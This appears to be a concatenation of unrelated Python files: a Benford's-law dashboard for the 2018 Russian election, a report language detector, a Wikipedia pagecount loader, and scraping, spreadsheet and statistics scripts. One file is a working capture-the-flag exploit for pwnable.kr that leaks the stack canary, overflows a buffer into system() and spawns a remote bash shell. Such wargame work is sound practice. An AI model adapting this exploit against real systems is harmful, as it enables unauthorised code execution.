        df3["votes_fd_Grudinin_Pavel_Nikolaevich"] = votes_fd_Grudinin_Pavel_Nikolaevich

        sum_votes = np.sum(votes_fd_Zhirinovskiy_Vladimir_Volfovich)
        votes_fd_Zhirinovskiy_Vladimir_Volfovich = (
            votes_fd_Zhirinovskiy_Vladimir_Volfovich / sum_votes
        ) * 100
        df3[
            "votes_fd_Zhirinovskiy_Vladimir_Volfovich"
        ] = votes_fd_Zhirinovskiy_Vladimir_Volfovich

        sum_votes = np.sum(votes_fd_Sobchak_Ksenia_Anatolyevna)
        votes_fd_Sobchak_Ksenia_Anatolyevna = (
            votes_fd_Sobchak_Ksenia_Anatolyevna / sum_votes
        ) * 100
        df3["votes_fd_Sobchak_Ksenia_Anatolyevna"] = votes_fd_Sobchak_Ksenia_Anatolyevna

        sum_votes = np.sum(votes_fd_Suraikin_Maksim_Aleksandrovich)
        votes_fd_Suraikin_Maksim_Aleksandrovich = (
            votes_fd_Suraikin_Maksim_Aleksandrovich / sum_votes
        ) * 100
        df3[
            "votes_fd_Suraikin_Maksim_Aleksandrovich"
        ] = votes_fd_Suraikin_Maksim_Aleksandrovich

        sum_votes = np.sum(votes_fd_Titov_Boris_Yurievich)
        votes_fd_Titov_Boris_Yurievich = (
            votes_fd_Titov_Boris_Yurievich / sum_votes
        ) * 100
        df3["votes_fd_Titov_Boris_Yurievich"] = votes_fd_Titov_Boris_Yurievich

        sum_votes = np.sum(votes_fd_Yavlinskiy_Gregory_Alekseivich)
        votes_fd_Yavlinskiy_Gregory_Alekseivich = (
            votes_fd_Yavlinskiy_Gregory_Alekseivich / sum_votes
        ) * 100
        df3[
            "votes_fd_Yavlinskiy_Gregory_Alekseivich"
        ] = votes_fd_Yavlinskiy_Gregory_Alekseivich
    else:
        df3 = pd.read_fwf(DATA_PATH.joinpath("ru_elections_results.txt"))
        df3["benford"] = [np.log10(1 + 1 / i) * 100 for i in range(1, base)]
        df3["x_graphic"] = [
            "Cifra " + str(i) if i < 10 else "Cifra " + chr(ord("a") + i - 10)
            for i in range(1, base)
        ]
    fig = px.bar(
        df3,
        x="x_graphic",
        y=[
            "votes_fd_Putin_Vladimir_Vladimirovich",
            "votes_fd_Baburin_Sergei_Nikolaevich",
            "votes_fd_Grudinin_Pavel_Nikolaevich",
            "votes_fd_Zhirinovskiy_Vladimir_Volfovich",
            "votes_fd_Sobchak_Ksenia_Anatolyevna",
            "votes_fd_Suraikin_Maksim_Aleksandrovich",
            "votes_fd_Titov_Boris_Yurievich",
            "votes_fd_Yavlinskiy_Gregory_Alekseivich",
        ],
        barmode="group",
        hover_data={"x_graphic": False, "variable": False},
        color_discrete_sequence=cst.THEMES_LIST[theme],
    )
    fig.add_scatter(
        x=df3["x_graphic"],
        y=df3["benford"],
        line=dict(color="green"),
        name="Benford's law",
    )

    fig.update_xaxes(title_text="")
    fig.update_yaxes(title_text="Percent%")

    fig = custom_legend(
        fig=fig,
        nameSwap={
            "votes_fd_Putin_Vladimir_Vladimirovich": "Putin Vladimir Vladimirovich",
            "votes_fd_Baburin_Sergei_Nikolaevich": "Baburin Sergei Nikolaevich",
            "votes_fd_Grudinin_Pavel_Nikolaevich": "Grudinin Pavel Nikolaevich",
            "votes_fd_Zhirinovskiy_Vladimir_Volfovich": "Zhirinovskiy Vladimir Volfovich",
            "votes_fd_Sobchak_Ksenia_Anatolyevna": "Sobchak Ksenia Anatolyevna",
            "votes_fd_Suraikin_Maksim_Aleksandrovich": "Suraikin Maksim Aleksandrovich",
            "votes_fd_Titov_Boris_Yurievich": "Titov Boris Yurievich",
            "votes_fd_Yavlinskiy_Gregory_Alekseivich": "Yavlinskiy Gregory Alekseivich",
        },
    )

    cs = scipy.stats.chisquare(
        df3["votes_fd_Grudinin_Pavel_Nikolaevich"], df3["benford"]
    )

    return fig

@app.callback(
    Output("graph_prez-Ru", "figure"),
    Input("input_range", "value"),
    Input("my_dropdown", "value"),
)
@cache.memoize(timeout=TIMEOUT)
def number_render_pop(rangeval, theme):
    if rangeval is None:
        return election_ru_fig(election_ru_data, 10, theme)
    else:
        return election_ru_fig(election_ru_data, rangeval, theme)

@app.callback(
    Output("textRu", "style"),
    Output("textTitleRu", "style"),
    Output("cardTextRu", "color"),
    Output("cardTextRu", "outline"),
    Input("graph_prez-Ru", "figure"),
    prevent_initial_call=True,
)
def text_apear(fig):
    if fig is not None:
        return {}, {}, "primary", True

layout = html.Div(
    [
        dbc.Row(
            [
                dbc.Col(
                    html.H1(
                        "Legea lui Benford pentru numărul voturilor obținute de candidați "
                        "în alegerile prezidențiale din Rusia 2018",
                        style=cst.TEXT_STYLE,
                    ),
                    width=12,
                ),
                html.Hr(),
                dbc.Col(
                    dcc.Loading(
                        dcc.Graph(id="graph_prez-Ru"), color="#eb6864", type="graph"
                    ),
                    width=12,
                ),
                dbc.Col(dbc.CardGroup(id="cardgroupru", children=[]), width=12),
            ]
        ),
        html.Br(),
        dbc.Col(
            dbc.Card(
                id="cardTextRu",
                children=dbc.CardBody(
                    [
                        html.H4(
                            id="textTitleRu",
                            children="Interpretarea graficului",
                            style={"display": "none"},
                        ),
                        html.P(
                            id="textRu",
                            children=[
                                html.P(
                                    "Dacă seturile de date reprezentând populații sunt exemplul clasic pentru care Legea lui Benford funcționează,"
                                    " scrutinele electorale sunt adesea luate ca un puternic contraexemplu. Principala problemă o reprezintă faptul că "
                                    " secțiile de votare sunt formate într-o așa manieră, încât să deservească un numar aproximativ egal de"
                                    " locuitori, deci condiția ca datele să fie repartizate pe mai multe ordine de marime nu poate fi respectată."
                                    " În exemplul prezentat mai sus, în majoriatea localităților unde s-a votat, numărul voturilor este de ordinul sutelor,"
                                    " puține fiind cele care au depășit pragul de 1.000. O altă explicație a slabei corelații dintre distribuția"
                                    " celei mai semnificative cifre și cea calculată cu formula enunțată în Legea lui Benford, ar putea fi într-adevar"
                                    " frauda, mulți observatori internaționali susținând această ipoteză[1]."
                                ),
                                html.A(
                                    "[1] Following fraud-tainted vote, Putin claims crushing victory in Russian presidential election",
                                    href="https://www.chicagotribune.com/nation-world/ct-russia-election-putin-20180318-story.html",
                                ),
                            ],
                            style={"display": "none"},
                        ),
                    ]
                ),
            )
        ),
    ]
)

@app.callback(Output("cardgroupru", "children"), Input("checklist", "value"))
def goodness_of_fit(values):
    CardArray = []
    if values is None:
        return None
    else:
        names = [
            "Putin Vladimir Vladimirovich",
            "Baburin Sergei Nikolaevich",
            "Grudinin Pavel Nikolaevich",
            "Zhirinovskiy Vladimir Volfovich",
            "Sobchak Ksenia Anatolyevna",
            "Suraikin Maksim Aleksandrovich",
            "Titov Boris Yurievich",
            "Yavlinskiy Gregory Alekseivich",
        ]
        for option in values:
            if option == "CS":
                cs = [
                    scipy.stats.chisquare(df3[key], df3["benford"])
                    for key in df3.keys()[:-2]
                ]
                body = [
                    html.P(
                        "Rezultatul testului Chi Square pentru "
                        + names[i]
                        + ": "
                        + str(cs[i][0])[:4]
                        + "; p-value: "
                        + str(cs[i][1])[:4]
                    )
                    for i in range(len(cs))
                ]
                CardArray.append(
                    dbc.Card(
                        [
                            dbc.CardHeader(
                                html.H4("Chi Square test", className="card-title")
                            ),
                            dbc.CardBody(body),
                            dbc.CardFooter(
                                [
                                    html.H6("Interpretarea valorii P"),
                                    html.P(
                                        "Valoarea p este o probabilitate."
                                        " În timp ce o statistică de testare este o modalitate de a măsura cât"
                                        " de extremă este o statistică pentru un anumit eșantion, "
                                        "valorile p sunt un alt mod de a măsura acest lucru."
                                        " În general, cu cât valoarea p este mai mică, cu atât avem "
                                        "mai multe dovezi împotriva ipotezei noastre nule (adica cele 2 seturi de date NU sunt la fel)."
                                    ),
                                    html.H6("Cât de mic este suficient de mic?"),
                                    html.P(
                                        "Cât de mică este o valoare p pentru a respinge ipoteza nulă ? "
                                        "Răspunsul la acest lucru este: „Depinde”. O regulă obișnuită este că "
                                        "valoarea p trebuie să fie mai mică sau egală cu 0.05, dar nu există nimic "
                                        "universal în această valoare. Sunt folosite de asemenea si valoarile 0.10 sau 0.01."
                                    ),
                                    html.H6("Concluzie"),
                                    html.P(
                                        "Simplificând, o valoare p mică indică faptul că cele 2 seturi de date comparate"
                                        " nu sunt asemănătoare, în timp ce o valoare apropiată de 1 indică un grad mare de asemănare."
                                    ),
                                ]
                            ),
                        ],
                        color="primary",
                        outline=True,
                    )
                )
            elif option == "KS":
                ks = [
                    scipy.stats.kstest(df3[key], df3["benford"])
                    for key in df3.keys()[:-2]
                ]
                body = [
                    html.P(
                        "Rezultatul testului Kolmogorov-Smirnov pentru "
                        + names[i]
                        + ": "
                        + str(ks[i][0])[:4]
                        + "; p-value: "
                        + str(ks[i][1])[:4]
                    )
                    for i in range(len(ks))
                ]
                CardArray.append(
                    dbc.Card(
                        [
                            dbc.CardHeader(
                                html.H4("Kolmogorov-Smirnov", className="card-title"),
                            ),
                            dbc.CardBody(body),
                            dbc.CardFooter(
                                [
                                    html.H6("Interpretarea valorii P"),
                                    html.P(
                                        "Valoarea p este o probabilitate."
                                        " În timp ce o statistică de testare este o modalitate de a măsura cât"
                                        " de extremă este o statistică pentru un anumit eșantion, "
                                        "valorile p sunt un alt mod de a măsura acest lucru."
                                        " În general, cu cât valoarea p este mai mică, cu atât avem "
                                        "mai multe dovezi împotriva ipotezei noastre nule (adica cele 2 seturi de date NU sunt la fel)."
                                    ),
                                    html.H6("Cât de mic este suficient de mic?"),
                                    html.P(
                                        "Cât de mică este o valoare p pentru a respinge ipoteza nulă ? "
                                        "Răspunsul la acest lucru este: „Depinde”. O regulă obișnuită este că "
                                        "valoarea p trebuie să fie mai mică sau egală cu 0.05, dar nu există nimic "
                                        "universal în această valoare. Sunt folosite de asemenea si valorile 0.10 sau 0.01."
                                    ),
                                    html.H6("Concluzie"),
                                    html.P(
                                        "Simplificând, o valoare p mică indică faptul că cele 2 seturi de date comparate"
                                        " nu sunt asemănătoare, în timp ce o valoare apropiată de 1 indică un grad mare de asemănare."
                                    ),
                                ]
                            ),
                        ],
                        color="primary",
                        outline=True,
                    )
                )
            elif option == "DE":
                de = [
                    np.sqrt(
                        np.sum(
                            [
                                (df3[key][i] / 100 - df3["benford"][i] / 100) ** 2
                                for i in range(len(df3["benford"]))
                            ]
                        )
                    )
                    / 1.03606
                    for key in df3.keys()[:-2]
                ]
                body = [
                    html.P(
                        "Deviația d* (Distanța euclidiană)[1] pentru "
                        + names[i]
                        + ": "
                        + str(de[i])[:4]
                    )
                    for i in range(len(de))
                ]

                CardArray.append(
                    dbc.Card(
                        [
                            dbc.CardHeader(
                                html.H4(
                                    "Deviația d* (Distanța euclidiană) [1]",
                                    className="card-title",
                                )
                            ),
                            dbc.CardBody(body),
                            dbc.CardFooter(
                                [
                                    html.P(
                                        "Deviația (d*) reprezintă distanța Euclidiană dintre reprezentarea setului de date "
                                        "și distribuția Benford. Aceasta poate să ia valori între 0 și 1. Dacă distribuția"
                                        " primei cifre în cadrul unui set de date este exact ca distribuția Benford, d* va fi 0."
                                        " Cu cât datele se abat mai mult de la această distribuție, d* se va apropia de 1."
                                        " Se sugerează că un posibil indicator al faptului că seria de date este coruptă"
                                        " e un d* > 0.25 [1]."
                                    ),
                                    dbc.CardLink(
                                        "[1] Formula de calcul utilizată",
                                        href="https://www.researchgate.net/publication/344164702_Is_COVID-19_data_reliable_A_statistical_analysis_with_Benford%27s_Law",
                                    ),
                                ]
                            ),
                        ],
                        color="primary",
                        outline=True,
                    )
                )
    return CardArray


#!/usr/bin/python

# Updated 2017-10-02: Now reads from flat directory of TXT reports
# with the original filenames from Bloomberg.
# Various bits using PDF/HTM will be deleted.

from langdetect import detect
from langdetect.lang_detect_exception import LangDetectException
import PyPDF2
from bs4 import BeautifulSoup

import pandas as pd
import numpy as np
import codecs

from os.path import join

unzipPath = "U:/Phil_Read/fromIrina/Europe_CSR_txt/"
statsPathIn = 'stats.csv'
statsPathOut = 'stats_lang.csv'
logPath = 'log_lang.csv'
with open(logPath, 'w') as logFile:
    logFile.write('sourcefile, lang\n')

# NOT USED
# Get the text of first 5 pages of given PDF file, or other range.
def getTextContentOfPdfPages(path, start=0, end=5):
    content = ""
    p = file(path, "rb")
    try:
        pdf = PyPDF2.PdfFileReader(p) # Replace pyPdf with PyPDF2 ?
    except:
        print ('Error reading file: ' + path)
        return content # can't open file.
    for i in range(start, end):
        try:
            content += pdf.getPage(i).extractText() + "\n"
        except Exception:
            print ('Problem reading page '+ str(i+1) +': ' + path)
            pass # may not be that many pages!
    content = " ".join(content.replace(u"\xa0", " ").strip().split())
    return content

# NOT USED
def getPlainTextFromHTML(html):
    soup = BeautifulSoup(html)
    # kill all script and style elements
    for script in soup(["script", "style"]):
        script.extract()    # rip it out
    # get text
    text = soup.get_text()
    # break into lines and remove leading and trailing space on each
    lines = (line.strip() for line in text.splitlines())
    # break multi-headlines into a line each
    chunks = (phrase.strip() for line in lines for phrase in line.split("  "))
    # drop blank lines
    text = '\n'.join(chunk for chunk in chunks if chunk)
    return text

# NOT USED
def getPlainTextFromHTMLPath(path):
    file = open(path, 'r')
    text = getPlainTextFromHTML(file.read())
    file.close()
    return getPlainTextFromHTML(text)

def getPlainTextFromTXTPath(path):
    text = u''
    with codecs.open(path, 'r', encoding='utf8', errors='ignore') as fileIn:
        text = fileIn.read()
    return text

# Detect the language of the report
def getLang(country,filename):
    # We are now using txt versions of reports, not PDF
    filename = filename.replace('.pdf','.txt')
    filenamesToSkip = [
        "072409_BNP_Corporate_Responsibility_WC000000001985010381.pdf",
        "052715_INF_Corporate_Responsibility_SD000000002233279310.pdf",
        "050808_BARC_Corporate_Responsibility_SD000000000083695052.pdf",
        "072808_NRE1V_Corporate_Responsibility_WC000000000087573266.pdf"
        ]
    if filename in filenamesToSkip:
        return '-2' # corrupt file
    if not (filename.endswith('.txt')):
        return '-3' # only interested in txt reports
    # NOT USED:
    #if not (filename.endswith('.pdf') or filename.endswith('.htm')):
    #    return '-3' # not implemented other files yet

    fullPath = join(unzipPath, filename)
    print ('Reading: ' + fullPath)

    textToTest = ""
    try:
        if filename.endswith('.txt'):
            textToTest = getPlainTextFromTXTPath(fullPath)
        elif filename.endswith('.pdf'): # NOT USED:
            textToTest = getTextContentOfPdfPages(fullPath)
        elif filename.endswith('.htm'): # NOT USED:
            textToTest = getPlainTextFromHTMLPath(fullPath)
    except IOError as ioe:
        print ('Error reading from: ' + fullPath)
        lang = '-4'
        with open(logPath, 'a') as logFile:
            logFile.write(filename+','+lang+'\n')
        return lang
    try:
        # Do the language detection
        lang = detect(textToTest)
    except LangDetectException:
        lang = '-1'
    print ('Detected: ' + lang)

    # NOT USED:
    # Extend search if not found and PDF
    if (filename.endswith('.pdf')) and (lang=='-1'):
        textToTest = getTextContentOfPdfPages(fullPath, 5, 10)
        try:
            lang = detect(textToTest)
        except LangDetectException:
            lang = '-1'
        print ('Detected: ' + lang)
    with open(logPath, 'a') as logFile:
        logFile.write(filename+','+lang+'\n')
    return lang

# Open stats file which contains all filenames.
# For each file, get language, add to table.
# Use the raw unzipped directory, but could be adapted for the other
# Save table with next extra column.

# Read in all columns to a dataframe.
df = pd.read_csv(statsPathIn)
# Expected headings below, though only need country, sourcefile
#   ('country,sourcefile,year,sic,isin,CRpart,destfile\n')
#   The lambda function is used so getLang is applied to all rows,
#   using the country and sourcefile columns as input
#   and creating a new lang column as output.
df['lang'] = df.apply(lambda x: getLang(x['country'], x['sourcefile']), axis=1)
# Save the file back out (several hours later) with all original columns + 1
df.to_csv(statsPathOut, index=False, sep=',')


#!/usr/bin/python3
"""
Downloads the current's hour data
"""
import urllib.request
from datetime import datetime, timedelta
import time
import os
import gzip
import codecs
from subprocess import call

def logging(s):
    print(str(s))
    with open('output', 'a') as f:
        s =  '%s: %s' % (datetime.now().strftime('%Y-%m-%d %H:%M:%S'), str(s))
        f.write(str(s) + '\n')
        print(str(s))

def download_timestamp(download_dir, stats_time):
    timestamp = (stats_time - datetime.utcfromtimestamp(0)).total_seconds()
    logging("downloading for %s" % stats_time)
    for second in range(0, 30):
        try:
            time.sleep(1) # deals with rate limiting for the download server
            url = ("http://dumps.wikimedia.org/other/pagecounts-raw/%d/%d-%02d/pagecounts-%d%02d%02d-%02d00%02d.gz" %
                (stats_time.year, stats_time.year, stats_time.month, stats_time.year, stats_time.month,
                    stats_time.day, stats_time.hour, second))
            path = "%s/%d.gz" % (download_dir, timestamp)
            urllib.request.urlretrieve(url, path)
            logging('File finished downloading')
            return path
        except Exception as e:
            logging("trying a timeoffset of %02d seconds" % (second + 1))
            logging(url)
            logging(e)
    else:
        logging("could not get stats for timestamp")

def create_new_data(file_path):
    pages_viewed = 0
    total_views = 0
    output_file_name = file_path[:-3]
    logging('Starting to create new data')
    with gzip.open(file_path, 'rb') as input_file, open(output_file_name, 'w') as output_file:
        for line in input_file:
            line = line.decode('latin-1')
            if line.startswith('en '):
                split = line.split(' ')
                output_file.write(split[1] + '\t' + timestamp.strftime('%Y-%m-%d %H:%M:%S') +
                        '\t' + split[2] + '\n')
                total_views += int(split[2])
                pages_viewed += 1
    logging('Finished parsing English data')
    logging('pages viewed: %d' % pages_viewed)
    logging('total views: %d' % total_views)
    return output_file_name

if __name__ == '__main__':
    download_dir    = '/tmp'
    hadoop_new_data = '/user/jd/new_data/'
    hadoop_trending = '/user/jd/trending_data/'
    hadoop_raw_data = '/user/jd/raw_data/'

    timestamp = datetime.utcnow().replace(minute=0, second=0, microsecond=0) - timedelta(hours=1)
    logging('Start download for %s' % timestamp)
    file_path = download_timestamp(download_dir, timestamp)
    if file_path:
        output_file_name = create_new_data(file_path)
        call(['hadoop', 'fs', '-rm', '-r', hadoop_new_data])
        call(['hadoop', 'fs', '-mkdir', hadoop_new_data])
        call(['hadoop', 'fs', '-copyFromLocal', output_file_name, hadoop_new_data])
        call(['hadoop', 'fs', '-mkdir', hadoop_trending])
        call(['hadoop', 'fs', '-copyFromLocal', output_file_name, hadoop_trending])
        old_timestamp = (timestamp - timedelta(days=5)).strftime('%s')
        logging('removing old timestamp: %s' % old_timestamp)
        call(['hadoop', 'fs', '-rm', hadoop_trending + old_timestamp])
        call(['hadoop', 'fs', '-mkdir', hadoop_raw_data])
        call(['hadoop', 'fs', '-moveFromLocal', output_file_name, hadoop_raw_data])
    else:
        logging('Error downloading data')
    logging('finished processing for %s' % timestamp)
    os.remove(file_path)
    logging('--------------------------------------------')


#encoding=utf-8
'''
openpyxlExcel写入的操作
'''
from openpyxl import Workbook
from openpyxl import load_workbook
from openpyxl.utils import get_column_letter
import datetime
wb = Workbook()
ws1 = wb.active #打开表单
ws1.merge_cells('B1:E1')#合并B1到E1间的单元格
ws1['A1']='插入内容'#在A1位置插入内容
ws1['A2'] = datetime.datetime.now().strftime("%Y-%m-%d")#在A2位置插入时间
ws1.append([1, 2, 3])#在下一行分别按列顺序插入1,2,3
ws1.title = '工作表标题1'    #工作表标题
ws2 = wb.create_sheet(title='工作表标题2') #创建一个新的工作表
#循环插入
ws3 = wb.create_sheet(title="Data1")
for row in range(1, 10):    #1-9行
    for col in range(2, 30):    #2-29列
        _ = ws3.cell(column=col, row=row, value="{0}".format(get_column_letter(col)))   #使用openpyxl.utils工具包
print(ws3['B9'].value)#工作表3,B9位置的值

filename = 'Excel.xlsx' #文件名
wb.save(filename=filename)#保存文件


import math
from pwn import *
import subprocess
from pathlib import Path
from encodings.base64_codec import base64_encode
from datetime import datetime, timedelta, timezone

# Shell command to run
SHELL_COMMAND = b'/bin/bash'

BASE_PATH = Path(__file__).parent
CALCULATE_HASH_BINARY = Path(BASE_PATH, 'calculate_hash', 'calculate_hash')

G_BUF_ADDRESS = 0x804b0e0
BUFFER_SIZE = 0x200

ESP_ADDRESS_BEFORE_SYSTEM_CALLED = 0xffffd170

# Add 4 since the pointer to the shell command is also stored
# in the stack
SHELL_COMMAND_ADDRESS = ESP_ADDRESS_BEFORE_SYSTEM_CALLED + 4

SYSTEM_CALL_ADDRESS = 0x8049187

def calculate_hash(time_diff: int) -> int:
    """
    Calculates a custom hash (exactly like the binary does) without the canary.
    """
    time = math.floor(datetime.now().timestamp() + time_diff)
    popen = subprocess.Popen([CALCULATE_HASH_BINARY, str(time)], stdout=subprocess.PIPE)
    result, _ = popen.communicate()

    return int(result.decode())

def calculate_canary(original_hash: int, time_diff: int = 0) -> int:
    """
    Calculate the remote thread canary by calculating the hash in house,
    and then substracting it from the original hash. This results the canary

    (Discovered by reverse engineering the my_hash function)
    """
    return (original_hash - calculate_hash(time_diff)) & 0xFFFFFFFF

def calculate_base64_length(original_length: int) -> int:
    """
    Calculate the length of base64 encoded value from it's original length
    """
    return 4 * math.ceil(original_length / 3)

def main() -> None:
    # Iterate over several time diffs since there's a changing delay between connecting to
    # the pwnable.kr server and generating the hash locally. Since the timestamp for generating
    # the hash must be the exact same as the remote.
    for time_diff in range(-5, 1):

        # Get the original hash
        connection = remote('pwnable.kr', 9002)

        # Get the captcha (hash) from the connection
        connection.readuntil(':')
        original_hash = int(connection.read().decode().strip())

        # Calculate the canary value
        canary = calculate_canary(original_hash, time_diff)

        # Response to the captcha
        connection.sendline(str(original_hash).encode())

        # Craft the payload and send it
        payload = b'A' * BUFFER_SIZE + p32(canary) + 12 * b'A' + p32(SYSTEM_CALL_ADDRESS)
        payload += p32(G_BUF_ADDRESS + calculate_base64_length(len(payload) + 4))
        payload = base64_encode(payload)[0].replace(b'\n', b'') + SHELL_COMMAND
        connection.sendline(payload)

        # Receive 4 lines, which actually means, read until received stack smashing detected.
        # If the timeout reached and 4 lines were not received, We managed to open a shell :)
        output = b'\n'.join(connection.recvlines(4, timeout=3)).decode()

        if 'stack smashing detected' not in output:
            # Make interactive to get the gained shell :)
            connection.interactive()
            break
        else:
            print(f'with diff {time_diff}: Stack smashing detected :(')

if __name__ == '__main__':
    main()


import time
from selenium import webdriver
from pyquery import PyQuery as pq

def openurl(url):
    browser = webdriver.Chrome()
    browser.get(url)
    html = browser.page_source
    data = str(pq(html))
    print(data)
    time.sleep(3)

    urls = browser.find_elements_by_xpath('//div[@class="pic"]/a')
    print(urls)
    #把点击链接全部append到一个list
    click_urls = []
    for url in urls:
        if 'https://movie.douban.com/subject/' in url.get_attribute('href'):
            click_urls.append(url.get_attribute('href'))
    print(click_urls)
    for i in range(len(click_urls)):
        link = click_urls[i]
        browser.get(link)
        time.sleep(1)
        #获取所有的窗口句柄
        handles = browser.window_handles
        #原主窗口
        index_handle = browser.current_window_handle
        #因为即使点击新的链接，浏览器还是定位在原窗口，需要加判断
        for handle in handles:
            if handle != index_handle:
                browser.switch_to.window(handle)
            else :
                continue
        try:
            name = browser.find_element_by_xpath('//h1/span').text
            #跳转之后页面的编剧信息
            director = browser.find_element_by_xpath('//div[@id="info"]/span[2]/span[@class="attrs"]').text
            with open('file.txt','a+',encoding='utf-8')as f:
                f.write(name)
                f.write(director+'\n')
        except Exception:
            print("not exist")
            continue

if __name__ == '__main__':
     for offset in range(0,250,25):
         time.sleep(1)
         url = 'https://movie.douban.com/top250?start={}'.format(offset)+'&filter'
         openurl(url)


# Escreva um programa que leia um número n inteiro qualquer e mostre na tela os n primeiros elementos de uma Sequência de Fibinacci.
#
# 0 -> 1 -> 1 -> 2 -> 3 -> 5 -> 8

while True:
    n = input("Digite um número inteiro: ")

    if n.isnumeric():
        n = int(n)
        break
    else:
        print("DIGITE UM VALOR VÁLIDO!")

print(0, end='')
atual = 1
anterior1 = atual
print(" -> " + str(atual), end='')

for i in range(1, n-1):
    anterior2 = anterior1
    anterior1 = atual
    print(" -> " + str(anterior1), end='')
    atual = anterior1 + anterior2


''' convenience functions for ANOVA type analysis with OLS

Note: statistical results of ANOVA are not checked, OLS is
checked but not whether the reported results are the ones used
in ANOVA

'''

import numpy as np
import numpy.lib.recfunctions

from statsmodels.compat.python import lmap
from statsmodels.regression.linear_model import OLS

dt_b = np.dtype([('breed', int), ('sex', int), ('litter', int),
               ('pen', int), ('pig', int), ('age', float),
               ('bage', float), ('y', float)])
''' too much work using structured masked arrays
dta = np.mafromtxt('dftest3.data', dtype=dt_b)

dta_use = np.ma.column_stack[[dta[col] for col in 'y sex age'.split()]]
'''

dta = np.genfromtxt('dftest3.data')
print(dta.shape)
mask = np.isnan(dta)
print("rows with missing values", mask.any(1).sum())
vars = dict((v[0], (idx, v[1])) for idx, v in enumerate((('breed', int),
                                                         ('sex', int),
                                                         ('litter', int),
                                                         ('pen', int),
                                                         ('pig', int),
                                                         ('age', float),
                                                         ('bage', float),
                                                         ('y', float))))

datavarnames = 'y sex age'.split()
#possible to avoid temporary array ?
dta_use = dta[:, [vars[col][0] for col in datavarnames]]
keeprows = ~np.isnan(dta_use).any(1)
print('number of complete observations', keeprows.sum())
dta_used = dta_use[keeprows,:]

varsused = dict((k, [dta_used[:,idx], idx, vars[k][1]]) for idx, k in enumerate(datavarnames))

# use function for dummy
#sexgroups = np.unique(dta_used[:,1])
#sexdummy = (dta_used[:,1][:, None] == sexgroups).astype(int)

def data2dummy(x, returnall=False):
    '''convert array of categories to dummy variables
    by default drops dummy variable for last category
    uses ravel, 1d only'''
    x = x.ravel()
    groups = np.unique(x)
    if returnall:
        return (x[:, None] == groups).astype(int)
    else:
        return (x[:, None] == groups).astype(int)[:,:-1]

def data2proddummy(x):
    '''creates product dummy variables from 2 columns of 2d array

    drops last dummy variable, but not from each category
    singular with simple dummy variable but not with constant

    quickly written, no safeguards

    '''
    #brute force, assumes x is 2d
    #replace with encoding if possible
    groups = np.unique(lmap(tuple, x.tolist()))
    #includes singularity with additive factors
    return (x==groups[:,None,:]).all(-1).T.astype(int)[:,:-1]

def data2groupcont(x1,x2):
    '''create dummy continuous variable

    Parameters
    ----------
    x1 : 1d array
        label or group array
    x2 : 1d array (float)
        continuous variable

    Notes
    -----
    useful for group specific slope coefficients in regression
    '''
    if x2.ndim == 1:
        x2 = x2[:,None]
    dummy = data2dummy(x1, returnall=True)
    return dummy * x2

sexdummy = data2dummy(dta_used[:,1])
factors = ['sex']
for k in factors:
    varsused[k][0] = data2dummy(varsused[k][0])

products = [('sex', 'age')]
for k in products:
    varsused[''.join(k)] = data2proddummy(np.c_[varsused[k[0]][0],varsused[k[1]][0]])

# make dictionary of variables with dummies as one variable
#vars_to_use = {name: data or dummy variables}

X_b0 = np.c_[sexdummy, dta_used[:,2], np.ones((dta_used.shape[0],1))]
y_b0 = dta_used[:,0]
res_b0 = OLS(y_b0, X_b0).results
print(res_b0.params)
print(res_b0.ssr)

anova_str0 = '''
ANOVA statistics (model sum of squares excludes constant)
Source    DF  Sum Squares   Mean Square    F Value    Pr > F
Model     %(df_model)i        %(ess)f       %(mse_model)f   %(fvalue)f %(f_pvalue)f
Error     %(df_resid)i     %(ssr)f       %(mse_resid)f
CTotal    %(nobs)i    %(uncentered_tss)f     %(mse_total)f

R squared  %(rsquared)f
'''

anova_str = '''
ANOVA statistics (model sum of squares includes constant)
Source    DF  Sum Squares   Mean Square    F Value    Pr > F
Model     %(df_model)i      %(ssmwithmean)f       %(mse_model)f   %(fvalue)f %(f_pvalue)f
Error     %(df_resid)i     %(ssr)f       %(mse_resid)f
CTotal    %(nobs)i    %(uncentered_tss)f     %(mse_total)f

R squared  %(rsquared)f
'''

#print(anova_str % dict([('df_model', res.df_model)])
#anovares = ['df_model' , 'df_resid'

def anovadict(res):
    '''update regression results dictionary with ANOVA specific statistics

    not checked for completeness
    '''
    ad = {}
    ad.update(res.__dict__)
    anova_attr = ['df_model', 'df_resid', 'ess', 'ssr','uncentered_tss',
                 'mse_model', 'mse_resid', 'mse_total', 'fvalue', 'f_pvalue',
                  'rsquared']
    for key in anova_attr:
        ad[key] = getattr(res, key)
    ad['nobs'] = res.model.nobs
    ad['ssmwithmean'] = res.uncentered_tss - res.ssr
    return ad

print(anova_str0 % anovadict(res_b0))
#the following leaves the constant in, not with NIST regression
#but something fishy with res.ess negative in examples
print(anova_str % anovadict(res_b0))

print('using sex only')
X2 = np.c_[sexdummy, np.ones((dta_used.shape[0],1))]
res2 = OLS(y_b0, X2).results
print(res2.params)
print(res2.ssr)
print(anova_str % anovadict(res2))

print('using age only')
X3 = np.c_[ dta_used[:,2], np.ones((dta_used.shape[0],1))]
res3 = OLS(y_b0, X3).results
print(res3.params)
print(res3.ssr)
print(anova_str % anovadict(res3))

def form2design(ss, data):
    '''convert string formula to data dictionary

    ss : str
     * I : add constant
     * varname : for simple varnames data is used as is
     * F:varname : create dummy variables for factor varname
     * P:varname1*varname2 : create product dummy variables for
       varnames
     * G:varname1*varname2 : create product between factor and
       continuous variable
    data : dict or structured array
       data set, access of variables by name as in dictionaries

    Returns
    -------
    vars : dictionary
        dictionary of variables with converted dummy variables
    names : list
        list of names, product (P:) and grouped continuous
        variables (G:) have name by joining individual names
        sorted according to input

    Examples
    --------
    >>> xx, n = form2design('I a F:b P:c*d G:c*f', testdata)
    >>> xx.keys()
    ['a', 'b', 'const', 'cf', 'cd']
    >>> n
    ['const', 'a', 'b', 'cd', 'cf']

    Notes
    -----

    with sorted dict, separate name list would not be necessary
    '''
    vars = {}
    names = []
    for item in ss.split():
        if item == 'I':
            vars['const'] = np.ones(data.shape[0])
            names.append('const')
        elif ':' not in item:
            vars[item] = data[item]
            names.append(item)
        elif item[:2] == 'F:':
            v = item.split(':')[1]
            vars[v] = data2dummy(data[v])
            names.append(v)
        elif item[:2] == 'P:':
            v = item.split(':')[1].split('*')
            vars[''.join(v)] = data2proddummy(np.c_[data[v[0]],data[v[1]]])
            names.append(''.join(v))
        elif item[:2] == 'G:':
            v = item.split(':')[1].split('*')
            vars[''.join(v)] = data2groupcont(data[v[0]], data[v[1]])
            names.append(''.join(v))
        else:
            raise ValueError('unknown expression in formula')
    return vars, names

nobs = 1000
